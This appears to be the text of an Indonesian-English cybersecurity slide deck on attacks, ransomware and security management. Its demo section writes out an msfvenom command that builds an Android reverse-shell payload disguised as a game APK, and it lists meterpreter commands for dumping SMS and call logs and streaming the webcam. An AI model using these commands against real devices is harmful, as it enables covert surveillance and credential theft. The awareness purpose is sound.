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Outline
● Attack & Victim
● Cyber Security Management



  



  



  



  



  



  

Open Source Intelligent (OSINT)



  



  

.apk



  



  

Remote Access Trojan (RAT)

steals cryptocurrency and banking credentials, 
2FA codes, lock screen passcodes, captures 
screenshots, calls log, sms log, send sms, 
install apps, run apps, stream webcam (video & 
audio)



  



  

msfvenom
msfvenom -p 
android/meterpreter/reverse_tcp 
lhost=192.168.0.102 lport=4444 > 
TempleRun2.apk



  

Msfconsole attack android
● check_root

● wlan_geolocate

● dump_calllog

● dump_sms

● send_sms -d “nomor tujuan” -t “berita yang ingin dikirim”

● send_sms -d 9599***847 -t hacked

● webcam_list

● webcam_snap 2

● webcam_stream



  

Corporate Attack



  



  



  



  



  



  

Ransomware
● Encrypted Trojan - tidak bisa di deteksi

● Mitigasi: Backup & AI, upload filtering, enduser / client 
literasi (jangan kepo), client-to-client connection. 

● Kondisi Korban
– Data tercopy ke attacker

– Data korban di enkripsi

– Attacker akan meminta uang / ransome



  

Cyber Security Management



  

Top Down Approach
C-level Commitment

Kunci Utama
Di Indonesia

Beli – Mahal
Buat – Murah

Kunci: SDM Pinter & Murah



  

Top Down Approach
C-level Commitment

Audit ISO27001
Audit ISO31000
Audit Index KAMI

Heavy Technology
Beli → Mahal
Buat → Murah
Kunci: SDM Pinter & Murah + Open Source
Kunci: User / Client literate

IT Forensic
Corporate Communication
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